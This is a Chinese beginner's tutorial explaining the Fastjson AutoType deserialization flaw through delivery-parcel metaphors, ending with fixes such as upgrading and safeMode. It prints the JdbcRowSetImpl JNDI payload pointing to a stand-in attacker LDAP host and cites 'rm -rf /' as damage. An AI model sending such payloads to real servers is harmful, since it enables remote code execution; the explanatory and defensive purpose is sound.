一、什么是JSON?
JSON 是一种用来表示数据的文本格式,类似「字典」或「表格」,比如:
- 用途:网络传输数据(比如APP和服务器之间)、存储配置信息等。
- 特点:结构清晰、兼容所有编程语言。
二、Fastjson是做什么的?
Fastjson 是阿里巴巴开发的 Java工具库,主要帮我们做两件事:
1. 序列化:把 Java 对象(如学生信息)变成 JSON 字符串。
Student student = new Student("小明", 18);
String json = JSON.toJSONString(student); // 输出 {"name":"小明","age":18}
2. 反序列化:把 JSON 字符串变回 Java 对象。
String json = "{\"name\":\"小明\",\"age\":18}";
Student student = JSON.parseObject(json, Student.class); // 还原成对象
通俗比喻:就像「翻译官」,把 Java 对象和 JSON 互相翻译 。
三、漏洞本质与原理
Fastjson漏洞是阿里巴巴开源JSON库在反序列化过程中因设计缺陷引发的安全风险,攻击者可通过构造恶意JSON数据触发远程代码执行(RCE)。其核心问题在于AutoType机制:
1.AutoType动态类加载
Fastjson解析JSON时,会根据 @type 字段动态加载指定类 。例如,攻击者可构造 {"@type":"恶意类名"} ,强制程序加载并实例化危险类(如 com.sun.rowset.JdbcRowSetImpl ),调用其 setter 方法(如 setDataSourceName )触发恶意行为 。
2.JNDI注入利用
通过结合JNDI(Java命名与目录接口),攻击者将 dataSourceName 指向恶意LDAP/RMI服务地址,诱导目标服务器从攻击者控制的远程服务器加载并执行恶意代码(如反弹Shell或删除文件) 。例如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP/Exploit"}
没看懂不要紧,我们来看下面这个例子:
漏洞本质(比喻版)
想象你网购时收到一个包裹(JSON数据),快递员(Fastjson)会拆开包裹里的说明书( @type 字段)自动组装里面的零件。但黑客在说明书里写“请按照我的图纸组装,并打电话给我取货”(恶意类名+远程代码),快递员照做后,你的电脑就被控制了 。
四、漏洞危害(场景版)
- 远程控制服务器
→ 黑客能像操作自己电脑一样删文件、装病毒(如 rm -rf / 命令清空数据) 。
- 偷取敏感信息
→ 比如盗取数据库密码,就像小偷复制了你家钥匙 。
- 攻击内网其他设备
→ 控制一台服务器后,继续攻击公司内部系统(类似疫情扩散) 。
五、漏洞触发过程(故事版)
黑客发快递
1. 伪造一个包裹,里面写着:
{"@type":"毒药类", "dataSourceName":"黑客的地址"}
2. 快递员中招
Fastjson看到 @type 后,按说明书组装了一个“带GPS定位的炸弹”(恶意类),并自动拨通黑客电话(连接LDAP/RMI服务器)。
3. 执行恶意操作
黑客远程发送指令,让服务器下载病毒文件或执行命令(如清空数据)。
六、修复方法(操作指南)
1. 升级Fastjson版本
→ 像换防盗门锁:升级到 1.2.83+ 或 2.x 版本 。
2. 关闭危险功能(AutoType)
→ 禁止快递员随便看说明书:
ParserConfig.getGlobalInstance().setSafeMode(true);
3. 使用白名单
→ 只允许接收“顺丰快递”(可信类):
ParserConfig.getGlobalInstance().addAccept("com.公司安全类");
4. 过滤用户输入
→ 拆包裹前先过安检:检查JSON中是否包含 @type 、 JdbcRowSetImpl 等关键词 。
七、经典案例(真实事件)
- 电商用户数据泄露
某平台因未修复漏洞,黑客通过JSON数据植入木马,盗取百万用户订单信息 。
- 大学服务器被挖矿
某高校服务器被攻击后,CPU满负荷运行挖矿程序(电脑变“矿机”) 。
总结
Fastjson漏洞 = 快递员太老实 + 说明书有毒
只要升级版本、关闭危险功能,就能像拒绝陌生快递一样保护服务器安全。